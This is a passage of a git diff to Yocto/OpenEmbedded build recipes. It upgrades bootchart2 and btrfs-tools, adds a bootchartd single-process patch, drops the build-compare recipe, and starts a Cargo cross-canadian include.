+ ${@bb.utils.contains('PACKAGECONFIG', 'textstyle', '', ' \
+ ac_cv_libtextstyle=no', d)}"
+
+# The automatic m4 path detection gets confused, so force the right value
+acpaths = "-I ./m4"
+
+do_compile:prepend() {
+ for i in mfcalc calc++ rpcalc; do mkdir -p ${B}/examples/$i; done
+}
+
+do_install:append:class-native() {
+ create_wrapper ${D}/${bindir}/bison \
+ BISON_PKGDATADIR=${STAGING_DATADIR_NATIVE}/bison
+}
+do_install:append:class-nativesdk() {
+ create_wrapper ${D}/${bindir}/bison \
+ BISON_PKGDATADIR=${datadir}/bison
+}
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/bootchart2/bootchart2/0001-bootchart2-support-usrmerge.patch b/meta/recipes-devtools/bootchart2/bootchart2/0001-bootchart2-support-usrmerge.patch
index 8ee6723df1..88597cf3a9 100644
--- a/meta/recipes-devtools/bootchart2/bootchart2/0001-bootchart2-support-usrmerge.patch
+++ b/meta/recipes-devtools/bootchart2/bootchart2/0001-bootchart2-support-usrmerge.patch
@@ -3,7 +3,7 @@ From: Changqing Li <changqing.li@windriver.com>
Date: Thu, 5 Sep 2019 18:37:31 +0800
Subject: [PATCH] bootchart2: support usrmerge
-Upstream-Status: Inappropriate[oe-specific]
+Upstream-Status: Inappropriate [oe-specific]
Signed-off-by: Changqing Li <changqing.li@windriver.com>
---
diff --git a/meta/recipes-devtools/bootchart2/bootchart2/0001-bootchartd.in-make-sure-only-one-bootchartd-process.patch b/meta/recipes-devtools/bootchart2/bootchart2/0001-bootchartd.in-make-sure-only-one-bootchartd-process.patch
new file mode 100644
index 0000000000..3cb8a3c2a2
--- /dev/null
+++ b/meta/recipes-devtools/bootchart2/bootchart2/0001-bootchartd.in-make-sure-only-one-bootchartd-process.patch
@@ -0,0 +1,68 @@
+From 988ca784d4840c87509e770a21d5d22105af8668 Mon Sep 17 00:00:00 2001
+From: Mingli Yu <mingli.yu@windriver.com>
+Date: Fri, 5 Nov 2021 11:18:07 +0800
+Subject: [PATCH] bootchartd.in: make sure only one bootchartd process
+
+When boot with "init=/sbin/bootchartd" as below:
+ # runqemu qemux86 bootparams="init=/sbin/bootchartd"
+
+There are two bootchartd process after boot [1].
+ # ps -ef | grep bootchart
+root 101 1 0 03:27 ? 00:00:00 /bin/sh /sbin/bootchartd
+root 103 101 8 03:27 ? 00:00:02 /lib64/bootchart/bootchart-collector 50
+root 106 1 0 03:27 ? 00:00:00 /bin/sh /sbin/bootchartd
+root 792 106 0 03:27 ? 00:00:00 /lib64/bootchart/bootchart-collector --usleep 1000000
+root 794 725 0 03:27 ttyS0 00:00:00 grep bootchart
+
+ # /sbin/bootchartd stop
+[bootchart] bootchart-collector started as pid 596 with 2 args:
+[bootchart] '--dump'
+[bootchart] '/tmp/bootchart.3lXpVDAq3v'
+[bootchart] Extracting profile data from pid 204
+[bootchart] map 0xbed9a000 -> 0xbedbb000 size: 132k from 'bed9a000' 'bedbb000'
+[bootchart] read 135168 bytes of 135168
+[bootchart] reading 150 chunks (of 150) ...
+[bootchart] wrote 18760 kbB
+[bootchart] bootchart-collector pid: 596 unmounted proc / clean exit
+
+But there still one process exist after the above stop command finish.
+ # ps -ef | grep bootchartd
+root 202 1 0 09:09 ? 00:00:00 /bin/sh /sbin/bootchartd
+root 629 516 0 09:10 ? 00:00:00 grep bootchartd
+
+Remove the wait_boot which used to wait the boot process to finish to
+make sure only one bootchartd process and meanwhile we don't need the
+wait_boot logic because we either use "/sbin/bootchartd stop" to stop
+the bootchartd manually or install package bootchartd-stop-initscript
+altogether with bootchart2 to stop bootchartd automatically after boot.
+
+After patch:
+ # ps -ef | grep bootchart
+ root 101 1 0 03:36 ? 00:00:00 /bin/sh /sbin/bootchartd
+ root 103 101 6 03:36 ? 00:00:04 /lib64/bootchart/bootchart-collector 50
+ root 596 592 0 03:37 ttyS0 00:00:00 grep bootchart
+
+[1] https://github.com/xrmx/bootchart/issues/94
+
+Upstream-Status: Submitted [https://github.com/xrmx/bootchart/pull/95]
+
+Signed-off-by: Mingli Yu <mingli.yu@windriver.com>
+---
+ bootchartd.in | 1 -
+ 1 file changed, 1 deletion(-)
+
+diff --git a/bootchartd.in b/bootchartd.in
+index 7979ef9..f0e466d 100755
+--- a/bootchartd.in
++++ b/bootchartd.in
+@@ -183,7 +183,6 @@ if [ $$ -eq 1 ]; then
+ else # running inside the main system
+ echo "bootchart: no initrd used; starting"
+ start &
+- wait_boot &
+ # wait a little, until the collector is going, before allowing
+ # the rest of the system to charge ahead, so we catch it
+ $USLEEP 250000
+--
+2.17.1
+
diff --git a/meta/recipes-devtools/bootchart2/bootchart2_0.14.8.bb b/meta/recipes-devtools/bootchart2/bootchart2_0.14.8.bb
deleted file mode 100644
index a938b2da49..0000000000
--- a/meta/recipes-devtools/bootchart2/bootchart2_0.14.8.bb
+++ /dev/null
@@ -1,161 +0,0 @@
-# Copyright (c) 2013 LG Electronics, Inc.
-# Copyright (C) 2014 Intel Corp.
-
-# This recipe creates packages for the bootchart2 system-wide profiler daemon
-# and related utilities. Depending on the images you're building, additional
-# configuration may be needed in order to use it.
-#
-# Packages:
-# * bootchart2 - The daemon itself.
-# * pybootchartgui - Python program to visualize and display the data
-# collected by bootchart2 or compatible daemons such as the original
-# bootchart.
-# * bootchartd-stop-initscript - A SysV init script to stop data collection
-# when booting completes (see below for details.)
-#
-# While bootchart2 is designed to stop collecting data roughly when the boot
-# process completes, it is not exactly a stopwatch. It has a list of programs
-# which are supposed signify that the boot process has completed (for example,
-# openbox or gnome-shell,) but it waits a full 20 seconds after such a program
-# is launched before stopping itself, to collect additional data.
-#
-# If you are using a window manager or GUI which isn't included in bootchart2's
-# default configuration file, you should write bbappend file to amend
-# bootchartd.conf and add it to EXIT_PROC. An example of this is shown in this
-# recipe, where the Matchbox window manager (used by Sato) is added.
-#
-# If you want data collection to end at a certain point exactly, you should
-# arrange for the following command to be run:
-# bootchartd stop
-# You might set this command to be launched by the desktop environment shipped
-# on the image you're building after the other startup programs are complete.
-# This will not incur the 20 second wait period and will cause bootchart2 to
-# behave a bit more like a stopwatch. An example of this is shown in this
-# recipe, specifically the bootchartd-stop-initscript package, which stops data
-# collection as the last action when switching to runlevels 2 through 5. You can
-# add bootchartd-stop-initscript to IMAGE_INSTALL if you need to use it.
-#
-# Unless you're doing something special, if your image does not launch an X
-# window manager, you will need to add bootchartd-stop-initscript to your image.
-#
-# Bootchart2 can be started in two ways. Data collection can be initiated by
-# running the following command:
-# bootchartd start
-# However, for the most complete data, the bootchart2 developers recommend
-# running it as PID 1. This can be done by adding the following to the kernel
-# command line parameters in the bootloader setup:
-# init=/sbin/bootchartd
-# When invoked this way, bootchart2 will set itself up and then automatically
-# run /sbin/init. For example, when booting the default qemux86 image, one might
-# use a command like this:
-# runqemu qemux86 bootparams="initcall_debug printk.time=y quiet \
-# init=/sbin/bootchartd"
-#
-# Neither method is actually implemented here, choose what works for you.
-#
-# If you are building your image with systemd instead of SysV init, bootchart2
-# includes systemd service files to begin collection automatically at boot and
-# end collection automatically 20 seconds after the boot process has completed.
-# However, be aware that systemd tends to start bootchart2 relatively late into
-# the boot process, so it's highly recommended to use bootchart2 as PID 1. If
-# you're using systemd and you wish to use another method to stop data
-# collection at a time of your choosing, you may do so as long as you get to it
-# before the 20 second timeout of the systemd service files. Also, you may write
-# a bbappend to patch bootchart2-done.timer.in to increase or decrease the
-# timeout. Decreasing it to 0 will make it behave like
-# bootchartd-stop-initscript.
-#
-# By default, when data collection is stopped, a file named bootchart.tgz will
-# be created in /var/log. If pybootchartgui is included in your image,
-# bootchart.png will also be created at the same time. However, this results in
-# a noticeable hitch or pause at boot time, which may not be what you want on an
-# embedded device. So you may prefer to omit pybootchartgui from your image. In
-# that case, copy bootchart.tgz over to your development system and generate
-# bootchart.png there. To get pybootchartgui on your development system, you can
-# either install it directly from some other source, or build bootchart2-native
-# and find pybootchartgui in the native sysroot:
-# bitbake bootchart2-native
-# ./tmp/sysroots/x86_64-linux/usr/bin/pybootchartgui /path/to/bootchart.tgz
-# Note that, whether installed on your build system or on your image, the
-# pybootchartgui provided by this recipe does not support the -i option. You
-# will need to install pybootchartgui by other means in order to run it in
-# interactive mode.
-
-SUMMARY = "Booting sequence and CPU,I/O usage monitor"
-DESCRIPTION = "Monitors where the system spends its time at start, creating a graph of all processes, disk utilization, and wait time."
-AUTHOR = "Wonhong Kwon <wonhong.kwon@lge.com>"
-HOMEPAGE = "https://github.com/mmeeks/bootchart"
-LICENSE = "GPL-3.0"
-LIC_FILES_CHKSUM = "file://COPYING;md5=44ac4678311254db62edf8fd39cb8124"
-
-UPSTREAM_CHECK_GITTAGREGEX = "(?P<pver>\d+\.\d+(\.\d+)*)"
-
-SRC_URI = "git://github.com/xrmx/bootchart.git \
- file://bootchartd_stop.sh \
- file://0001-collector-Allocate-space-on-heap-for-chunks.patch \
- file://0001-bootchart2-support-usrmerge.patch \
- "
-
-S = "${WORKDIR}/git"
-SRCREV = "331ada031f1d65f6d934d918f896e1c708c64bf7"
-PV .= "+git${SRCPV}"
-
-inherit systemd update-rc.d python3native update-alternatives
-
-ALTERNATIVE_${PN} = "bootchartd"
-ALTERNATIVE_LINK_NAME[bootchartd] = "${base_sbindir}/bootchartd"
-ALTERNATIVE_PRIORITY = "100"
-
-# The only reason to build bootchart2-native is for a native pybootchartgui.
-BBCLASSEXTEND = "native"
-
-SYSTEMD_SERVICE_${PN} = "bootchart2.service bootchart2-done.service bootchart2-done.timer"
-
-UPDATERCPN = "bootchartd-stop-initscript"
-INITSCRIPT_NAME = "bootchartd_stop.sh"
-INITSCRIPT_PARAMS = "start 99 2 3 4 5 ."
-
-EXTRA_OEMAKE = 'BASE_SBINDIR="${base_sbindir}"'
-
-do_compile_prepend () {
- export PY_LIBDIR="${libdir}/${PYTHON_DIR}"
- export BINDIR="${bindir}"
- export LIBDIR="${base_libdir}"
-}
-
-do_install () {
- install -d ${D}${sysconfdir} # needed for -native
- export PY_LIBDIR="${libdir}/${PYTHON_DIR}"
- export BINDIR="${bindir}"
- export DESTDIR="${D}"
- export LIBDIR="${base_libdir}"
- export PKGLIBDIR="${base_libdir}/bootchart"
- export SYSTEMD_UNIT_DIR="${systemd_unitdir}/system"
-
- oe_runmake install
- install -d ${D}${sysconfdir}/init.d
- install -m 0755 ${WORKDIR}/bootchartd_stop.sh ${D}${sysconfdir}/init.d
-
- echo 'EXIT_PROC="$EXIT_PROC matchbox-window-manager"' >> ${D}${sysconfdir}/bootchartd.conf
-
- # Use python 3 instead of python 2
- sed -i -e '1s,#!.*python.*,#!${USRBINPATH}/env python3,' ${D}${bindir}/pybootchartgui
-}
-
-PACKAGES =+ "pybootchartgui"
-FILES_pybootchartgui += "${PYTHON_SITEPACKAGES_DIR}/pybootchartgui ${bindir}/pybootchartgui"
-RDEPENDS_pybootchartgui = "python3-pycairo python3-compression python3-image python3-shell python3-compression python3-codecs"
-RDEPENDS_${PN}_class-target += "${@bb.utils.contains('DISTRO_FEATURES', 'sysvinit', 'sysvinit-pidof', 'procps', d)}"
-RDEPENDS_${PN}_class-target += "lsb-release"
-DEPENDS_append_class-native = " python3-pycairo-native"
-
-PACKAGES =+ "bootchartd-stop-initscript"
-FILES_bootchartd-stop-initscript += "${sysconfdir}/init.d ${sysconfdir}/rc*.d"
-RDEPENDS_bootchartd-stop-initscript = "${PN}"
-
-FILES_${PN} += "${base_libdir}/bootchart/bootchart-collector"
-FILES_${PN} += "${base_libdir}/bootchart/tmpfs"
-FILES_${PN} += "${libdir}"
-FILES_${PN}-doc += "${datadir}/docs"
-
-RCONFLICTS_${PN} = "bootchart"
diff --git a/meta/recipes-devtools/bootchart2/bootchart2_0.14.9.bb b/meta/recipes-devtools/bootchart2/bootchart2_0.14.9.bb
new file mode 100644
index 0000000000..b1628075a7
--- /dev/null
+++ b/meta/recipes-devtools/bootchart2/bootchart2_0.14.9.bb
@@ -0,0 +1,168 @@
+# Copyright (c) 2013 LG Electronics, Inc.
+# Copyright (C) 2014 Intel Corp.
+
+# This recipe creates packages for the bootchart2 system-wide profiler daemon
+# and related utilities. Depending on the images you're building, additional
+# configuration may be needed in order to use it.
+#
+# Packages:
+# * bootchart2 - The daemon itself.
+# * pybootchartgui - Python program to visualize and display the data
+# collected by bootchart2 or compatible daemons such as the original
+# bootchart.
+# * bootchartd-stop-initscript - A SysV init script to stop data collection
+# when booting completes (see below for details.)
+#
+# While bootchart2 is designed to stop collecting data roughly when the boot
+# process completes, it is not exactly a stopwatch. It has a list of programs
+# which are supposed signify that the boot process has completed (for example,
+# openbox or gnome-shell,) but it waits a full 20 seconds after such a program
+# is launched before stopping itself, to collect additional data.
+#
+# If you are using a window manager or GUI which isn't included in bootchart2's
+# default configuration file, you should write bbappend file to amend
+# bootchartd.conf and add it to EXIT_PROC. An example of this is shown in this
+# recipe, where the Matchbox window manager (used by Sato) is added.
+#
+# If you want data collection to end at a certain point exactly, you should
+# arrange for the following command to be run:
+# bootchartd stop
+# You might set this command to be launched by the desktop environment shipped
+# on the image you're building after the other startup programs are complete.
+# This will not incur the 20 second wait period and will cause bootchart2 to
+# behave a bit more like a stopwatch. An example of this is shown in this
+# recipe, specifically the bootchartd-stop-initscript package, which stops data
+# collection as the last action when switching to runlevels 2 through 5. You can
+# add bootchartd-stop-initscript to IMAGE_INSTALL if you need to use it.
+#
+# Unless you're doing something special, if your image does not launch an X
+# window manager, you will need to add bootchartd-stop-initscript to your image.
+#
+# Bootchart2 can be started in two ways. Data collection can be initiated by
+# running the following command:
+# bootchartd start
+# However, for the most complete data, the bootchart2 developers recommend
+# running it as PID 1. This can be done by adding the following to the kernel
+# command line parameters in the bootloader setup:
+# init=/sbin/bootchartd
+# When invoked this way, bootchart2 will set itself up and then automatically
+# run /sbin/init. For example, when booting the default qemux86 image, one might
+# use a command like this:
+# runqemu qemux86 bootparams="initcall_debug printk.time=y quiet \
+# init=/sbin/bootchartd"
+#
+# Neither method is actually implemented here, choose what works for you.
+#
+# If you are building your image with systemd instead of SysV init, bootchart2
+# includes systemd service files to begin collection automatically at boot and
+# end collection automatically 20 seconds after the boot process has completed.
+# However, be aware that systemd tends to start bootchart2 relatively late into
+# the boot process, so it's highly recommended to use bootchart2 as PID 1. If
+# you're using systemd and you wish to use another method to stop data
+# collection at a time of your choosing, you may do so as long as you get to it
+# before the 20 second timeout of the systemd service files. Also, you may write
+# a bbappend to patch bootchart2-done.timer.in to increase or decrease the
+# timeout. Decreasing it to 0 will make it behave like
+# bootchartd-stop-initscript.
+#
+# By default, when data collection is stopped, a file named bootchart.tgz will
+# be created in /var/log. If pybootchartgui is included in your image,
+# bootchart.png will also be created at the same time. However, this results in
+# a noticeable hitch or pause at boot time, which may not be what you want on an
+# embedded device. So you may prefer to omit pybootchartgui from your image. In
+# that case, copy bootchart.tgz over to your development system and generate
+# bootchart.png there. To get pybootchartgui on your development system, you can
+# either install it directly from some other source, or build bootchart2-native
+# and find pybootchartgui in the native sysroot:
+# bitbake bootchart2-native
+# ./tmp/sysroots/x86_64-linux/usr/bin/pybootchartgui /path/to/bootchart.tgz
+# Note that, whether installed on your build system or on your image, the
+# pybootchartgui provided by this recipe does not support the -i option. You
+# will need to install pybootchartgui by other means in order to run it in
+# interactive mode.
+
+SUMMARY = "Booting sequence and CPU,I/O usage monitor"
+DESCRIPTION = "Monitors where the system spends its time at start, creating a graph of all processes, disk utilization, and wait time."
+AUTHOR = "Wonhong Kwon <wonhong.kwon@lge.com>"
+HOMEPAGE = "https://github.com/mmeeks/bootchart"
+LICENSE = "GPL-3.0-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=44ac4678311254db62edf8fd39cb8124"
+
+UPSTREAM_CHECK_GITTAGREGEX = "(?P<pver>\d+\.\d+(\.\d+)*)"
+
+SRC_URI = "git://github.com/xrmx/bootchart.git;branch=master;protocol=https \
+ file://bootchartd_stop.sh \
+ file://0001-collector-Allocate-space-on-heap-for-chunks.patch \
+ file://0001-bootchart2-support-usrmerge.patch \
+ file://0001-bootchartd.in-make-sure-only-one-bootchartd-process.patch \
+ "
+
+S = "${WORKDIR}/git"
+SRCREV = "868a2afab9da34f32c007d773b77253c93104636"
+
+# remove at next version upgrade or when output changes
+PR = "r1"
+HASHEQUIV_HASH_VERSION .= ".1"
+
+inherit systemd update-rc.d python3native update-alternatives
+
+ALTERNATIVE:${PN} = "bootchartd"
+ALTERNATIVE_LINK_NAME[bootchartd] = "${base_sbindir}/bootchartd"
+ALTERNATIVE_PRIORITY = "100"
+
+# The only reason to build bootchart2-native is for a native pybootchartgui.
+BBCLASSEXTEND = "native"
+
+SYSTEMD_SERVICE:${PN} = "bootchart2.service bootchart2-done.service bootchart2-done.timer"
+
+UPDATERCPN = "bootchartd-stop-initscript"
+INITSCRIPT_NAME = "bootchartd_stop.sh"
+INITSCRIPT_PARAMS = "start 99 2 3 4 5 ."
+
+EXTRA_OEMAKE = 'BASE_SBINDIR="${base_sbindir}"'
+
+do_compile:prepend () {
+ export PY_LIBDIR="${libdir}/${PYTHON_DIR}"
+ export BINDIR="${bindir}"
+ export LIBDIR="${base_libdir}"
+}
+
+do_install () {
+ install -d ${D}${sysconfdir} # needed for -native
+ export PY_LIBDIR="${libdir}/${PYTHON_DIR}"
+ export BINDIR="${bindir}"
+ export DESTDIR="${D}"
+ export LIBDIR="${base_libdir}"
+ export PKGLIBDIR="${base_libdir}/bootchart"
+ export SYSTEMD_UNIT_DIR="${systemd_system_unitdir}"
+
+ oe_runmake install NO_PYTHON_COMPILE=1
+ install -d ${D}${sysconfdir}/init.d
+ install -m 0755 ${WORKDIR}/bootchartd_stop.sh ${D}${sysconfdir}/init.d
+
+ echo 'EXIT_PROC="$EXIT_PROC matchbox-window-manager"' >> ${D}${sysconfdir}/bootchartd.conf
+
+ # Use python 3 instead of python 2
+ sed -i -e '1s,#!.*python.*,#!${USRBINPATH}/env python3,' ${D}${bindir}/pybootchartgui
+
+ # The timestamps embedded in compressed man pages is not reproducible
+ gzip -d ${D}${mandir}/man1/*.gz
+}
+
+PACKAGES =+ "pybootchartgui"
+FILES:pybootchartgui += "${PYTHON_SITEPACKAGES_DIR}/pybootchartgui ${bindir}/pybootchartgui"
+RDEPENDS:pybootchartgui = "python3-pycairo python3-compression python3-image python3-math python3-shell python3-compression python3-codecs"
+RDEPENDS:${PN}:class-target += "${@bb.utils.contains('DISTRO_FEATURES', 'sysvinit', 'sysvinit-pidof', 'procps', d)}"
+RDEPENDS:${PN}:class-target += "lsb-release"
+DEPENDS:append:class-native = " python3-pycairo-native"
+
+PACKAGES =+ "bootchartd-stop-initscript"
+FILES:bootchartd-stop-initscript += "${sysconfdir}/init.d ${sysconfdir}/rc*.d"
+RDEPENDS:bootchartd-stop-initscript = "${PN}"
+
+FILES:${PN} += "${base_libdir}/bootchart/bootchart-collector"
+FILES:${PN} += "${base_libdir}/bootchart/tmpfs"
+FILES:${PN} += "${libdir}"
+FILES:${PN}-doc += "${datadir}/docs"
+
+RCONFLICTS:${PN} = "bootchart"
diff --git a/meta/recipes-devtools/btrfs-tools/btrfs-tools_5.16.2.bb b/meta/recipes-devtools/btrfs-tools/btrfs-tools_5.16.2.bb
new file mode 100644
index 0000000000..4ab486c465
--- /dev/null
+++ b/meta/recipes-devtools/btrfs-tools/btrfs-tools_5.16.2.bb
@@ -0,0 +1,71 @@
+SUMMARY = "Checksumming Copy on Write Filesystem utilities"
+DESCRIPTION = "Btrfs is a new copy on write filesystem for Linux aimed at \
+implementing advanced features while focusing on fault tolerance, repair and \
+easy administration. \
+This package contains utilities (mkfs, fsck, btrfsctl) used to work with \
+btrfs and an utility (btrfs-convert) to make a btrfs filesystem from an ext3."
+
+HOMEPAGE = "https://btrfs.wiki.kernel.org"
+
+LICENSE = "GPL-2.0-only & LGPL-2.1-or-later"
+LIC_FILES_CHKSUM = " \
+ file://COPYING;md5=fcb02dc552a041dee27e4b85c7396067 \
+ file://libbtrfsutil/COPYING;md5=4fbd65380cdd255951079008b364516c \
+"
+SECTION = "base"
+DEPENDS = "lzo util-linux zlib"
+
+SRC_URI = "git://git.kernel.org/pub/scm/linux/kernel/git/kdave/btrfs-progs.git;branch=master \
+ file://0001-Add-a-possibility-to-specify-where-python-modules-ar.patch \
+ "
+SRCREV = "31458c9c81935abbed010221261897273a98d2c1"
+S = "${WORKDIR}/git"
+
+PACKAGECONFIG ??= " \
+ programs \
+ convert \
+ python \
+ crypto-builtin \
+"
+PACKAGECONFIG[manpages] = "--enable-documentation, --disable-documentation, asciidoc-native xmlto-native"
+PACKAGECONFIG[programs] = "--enable-programs,--disable-programs"
+PACKAGECONFIG[convert] = "--enable-convert --with-convert=ext2,--disable-convert --without-convert,e2fsprogs"
+PACKAGECONFIG[zoned] = "--enable-zoned,--disable-zoned"
+PACKAGECONFIG[python] = "--enable-python,--disable-python,python3-setuptools-native"
+PACKAGECONFIG[zstd] = "--enable-zstd,--disable-zstd,zstd"
+PACKAGECONFIG[udev] = "--enable-libudev,--disable-libudev,udev"
+
+# Pick only one crypto provider
+PACKAGECONFIG[crypto-builtin] = "--with-crypto=builtin"
+PACKAGECONFIG[crypto-libgcrypt] = "--with-crypto=libgcrypt,,libgcrypt"
+PACKAGECONFIG[crypto-libsodium] = "--with-crypto=libsodium,,libsodium"
+PACKAGECONFIG[crypto-libkcapi] = "--with-crypto=libkcapi,,libkcapi"
+
+inherit autotools-brokensep pkgconfig manpages
+inherit ${@bb.utils.contains('PACKAGECONFIG', 'python', 'setuptools3-base', '', d)}
+
+CLEANBROKEN = "1"
+
+EXTRA_OECONF = "--enable-largefile"
+EXTRA_OECONF:append:libc-musl = " --disable-backtrace "
+EXTRA_PYTHON_CFLAGS = "${DEBUG_PREFIX_MAP}"
+EXTRA_PYTHON_CFLAGS:class-native = ""
+EXTRA_PYTHON_LDFLAGS = "${LDFLAGS}"
+EXTRA_OEMAKE = "V=1 'EXTRA_PYTHON_CFLAGS=${EXTRA_PYTHON_CFLAGS}' 'EXTRA_PYTHON_LDFLAGS=${EXTRA_PYTHON_LDFLAGS}'"
+
+do_configure:prepend() {
+ # Upstream doesn't ship this and autoreconf won't install it as automake isn't used.
+ mkdir -p ${S}/config
+ cp -f $(automake --print-libdir)/install-sh ${S}/config/
+}
+
+
+do_install:append() {
+ if [ "${@bb.utils.filter('PACKAGECONFIG', 'python', d)}" ]; then
+ oe_runmake 'DESTDIR=${D}' 'PYTHON_SITEPACKAGES_DIR=${PYTHON_SITEPACKAGES_DIR}' install_python
+ fi
+}
+
+RDEPENDS:${PN} = "libgcc"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/btrfs-tools/btrfs-tools_5.3.bb b/meta/recipes-devtools/btrfs-tools/btrfs-tools_5.3.bb
deleted file mode 100644
index 12b5c4562d..0000000000
--- a/meta/recipes-devtools/btrfs-tools/btrfs-tools_5.3.bb
+++ /dev/null
@@ -1,52 +0,0 @@
-SUMMARY = "Checksumming Copy on Write Filesystem utilities"
-DESCRIPTION = "Btrfs is a new copy on write filesystem for Linux aimed at \
-implementing advanced features while focusing on fault tolerance, repair and \
-easy administration. \
-This package contains utilities (mkfs, fsck, btrfsctl) used to work with \
-btrfs and an utility (btrfs-convert) to make a btrfs filesystem from an ext3."
-
-HOMEPAGE = "https://btrfs.wiki.kernel.org"
-
-LICENSE = "GPLv2"
-LIC_FILES_CHKSUM = "file://COPYING;md5=fcb02dc552a041dee27e4b85c7396067"
-SECTION = "base"
-DEPENDS = "util-linux attr e2fsprogs lzo acl"
-DEPENDS_append_class-target = " udev"
-RDEPENDS_${PN} = "libgcc"
-
-SRCREV = "de7856cee5907938441f765ebab7cc106b7faf70"
-SRC_URI = "git://git.kernel.org/pub/scm/linux/kernel/git/kdave/btrfs-progs.git \
- file://0001-Add-a-possibility-to-specify-where-python-modules-ar.patch \
- "
-
-PACKAGECONFIG ??= "python"
-PACKAGECONFIG[manpages] = "--enable-documentation, --disable-documentation, asciidoc-native xmlto-native"
-PACKAGECONFIG[python] = "--enable-python,--disable-python,python3-setuptools-native"
-PACKAGECONFIG[zstd] = "--enable-zstd,--disable-zstd,zstd"
-
-inherit autotools-brokensep pkgconfig manpages
-inherit ${@bb.utils.contains('PACKAGECONFIG', 'python', 'distutils3-base', '', d)}
-
-CLEANBROKEN = "1"
-
-EXTRA_OECONF_append_libc-musl = " --disable-backtrace "
-EXTRA_PYTHON_CFLAGS = "${DEBUG_PREFIX_MAP}"
-EXTRA_PYTHON_CFLAGS_class-native = ""
-EXTRA_PYTHON_LDFLAGS = "${LDFLAGS}"
-EXTRA_OEMAKE = "V=1 'EXTRA_PYTHON_CFLAGS=${EXTRA_PYTHON_CFLAGS}' 'EXTRA_PYTHON_LDFLAGS=${EXTRA_PYTHON_LDFLAGS}'"
-
-do_configure_prepend() {
- # Upstream doesn't ship this and autoreconf won't install it as automake isn't used.
- mkdir -p ${S}/config
- cp -f $(automake --print-libdir)/install-sh ${S}/config/
-}
-
-S = "${WORKDIR}/git"
-
-do_install_append() {
- if [ "${@bb.utils.filter('PACKAGECONFIG', 'python', d)}" ]; then
- oe_runmake 'DESTDIR=${D}' 'PYTHON_SITEPACKAGES_DIR=${PYTHON_SITEPACKAGES_DIR}' install_python
- fi
-}
-
-BBCLASSEXTEND = "native"
diff --git a/meta/recipes-devtools/build-compare/build-compare_git.bb b/meta/recipes-devtools/build-compare/build-compare_git.bb
deleted file mode 100644
index b0560cc277..0000000000
--- a/meta/recipes-devtools/build-compare/build-compare_git.bb
+++ /dev/null
@@ -1,31 +0,0 @@
-SUMMARY = "Build Result Compare Script"
-DESCRIPTION = "This package contains scripts to find out if the build result\
-differs to a former build."
-HOMEPAGE = "https://github.com/openSUSE/build-compare"
-LICENSE = "GPLv2"
-LIC_FILES_CHKSUM = "file://COPYING;md5=751419260aa954499f7abaabaa882bbe"
-
-SRC_URI = "git://github.com/openSUSE/build-compare.git \
- file://Ignore-DWARF-sections.patch;striplevel=1 \
- "
-
-# Date matches entry in build-compare.changes and date of SRCREV.
-#
-SRCREV = "4dfa207660776cae120afa4353aec7f1f2a998d2"
-PE = "1"
-PV = "2019.08.14+git${SRCPV}"
-UPSTREAM_CHECK_COMMITS = "1"
-
-S = "${WORKDIR}/git"
-
-BBCLASSEXTEND = "native nativesdk"
-
-do_install() {
- install -d ${D}/${bindir}
- install -m 755 functions.sh ${D}/${bindir}
- install -m 755 pkg-diff.sh ${D}/${bindir}
- install -m 755 same-build-result.sh ${D}/${bindir}
- install -m 755 srpm-check.sh ${D}/${bindir}
-}
-
-RDEPENDS_${PN} += "bash"
diff --git a/meta/recipes-devtools/build-compare/files/Ignore-DWARF-sections.patch b/meta/recipes-devtools/build-compare/files/Ignore-DWARF-sections.patch
deleted file mode 100644
index 2fb62ae8ce..0000000000
--- a/meta/recipes-devtools/build-compare/files/Ignore-DWARF-sections.patch
+++ /dev/null
@@ -1,37 +0,0 @@
-From 015715694eadd714b903f30ade876e0738d44974 Mon Sep 17 00:00:00 2001
-From: Randy Witt <randy.e.witt@linux.intel.com>
-Date: Mon, 5 Jan 2015 15:09:20 -0800
-Subject: [PATCH] Ignore DWARF sections.
-
-Assume for now that we don't care about the DWARF sections due to path
-differences. However, in the case the tool is ran on a "debug" package
-it will most likely falsely say the packages have no differences.
-
-Upstream-Status: Inappropriate [other]
-
-The package difference tool is correctly labelling the packages as different
-when the DWARF sections don't match due to paths. The paths in the debug info
-should actually be made to be the same using compile flags or some other
-mechanism.
-
-However, to make the tool more useful to Yocto until the work can be done
-to ensure identical paths in debug sections, this patch is being applied.
-
-Signed-off-by: Randy Witt <randy.e.witt@linux.intel.com>
----
- pkg-diff.sh | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/pkg-diff.sh b/pkg-diff.sh
-index 9c2125e..b0d77c8 100755
---- a/pkg-diff.sh
-+++ b/pkg-diff.sh
-@@ -851,7 +851,7 @@ check_single_file()
- echo "" >$file1
- echo "" >$file2
- # Don't compare .build-id, .gnu_debuglink and .gnu_debugdata sections
-- sections="$($OBJDUMP -s new/$file | grep "Contents of section .*:" | sed -r "s,.* (.*):,\1,g" | grep -v -e "\.build-id" -e "\.gnu_debuglink" -e "\.gnu_debugdata" | tr "\n" " ")"
-+ sections="$($OBJDUMP -s new/$file | grep "Contents of section .*:" | sed -r "s,.* (.*):,\1,g" | grep -v -e "\.build-id" -e "\.gnu_debuglink" -e "\.gnu_debugdata" -e "\.debug_abbrev" -e "\.debug_aranges" -e "\.debug_frame" -e "\.debug_info" -e "\.debug_line" -e "\.debug_loc" -e "\.debug_macinfo" -e "\.debug_pubnames" -e "\.debug_pubtypes" -e "\.debug_ranges" -e "\.debug_str" | tr "\n" " ")"
- for section in $sections; do
- $OBJDUMP -s -j $section old/$file | sed "s,^old/,," > $file1
- $OBJDUMP -s -j $section new/$file | sed "s,^new/,," > $file2
diff --git a/meta/recipes-devtools/cargo/cargo-cross-canadian.inc b/meta/recipes-devtools/cargo/cargo-cross-canadian.inc
new file mode 100644
index 0000000000..840793c50b
--- /dev/null
+++ b/meta/recipes-devtools/cargo/cargo-cross-canadian.inc
@@ -0,0 +1,74 @@
+SUMMARY = "Cargo, a package manager for Rust cross canadian flavor."
+
+RUST_ALTERNATE_EXE_PATH = "${STAGING_LIBDIR_NATIVE}/llvm-rust/bin/llvm-config"
+
+HOST_SYS = "${HOST_ARCH}-unknown-linux-gnu"
+CARGO_RUST_TARGET_CCLD = "${RUST_BUILD_CCLD}"
+
+require recipes-devtools/rust/rust-common.inc
+require cargo.inc
+
+CARGO = "${WORKDIR}/${CARGO_SNAPSHOT}/bin/cargo"
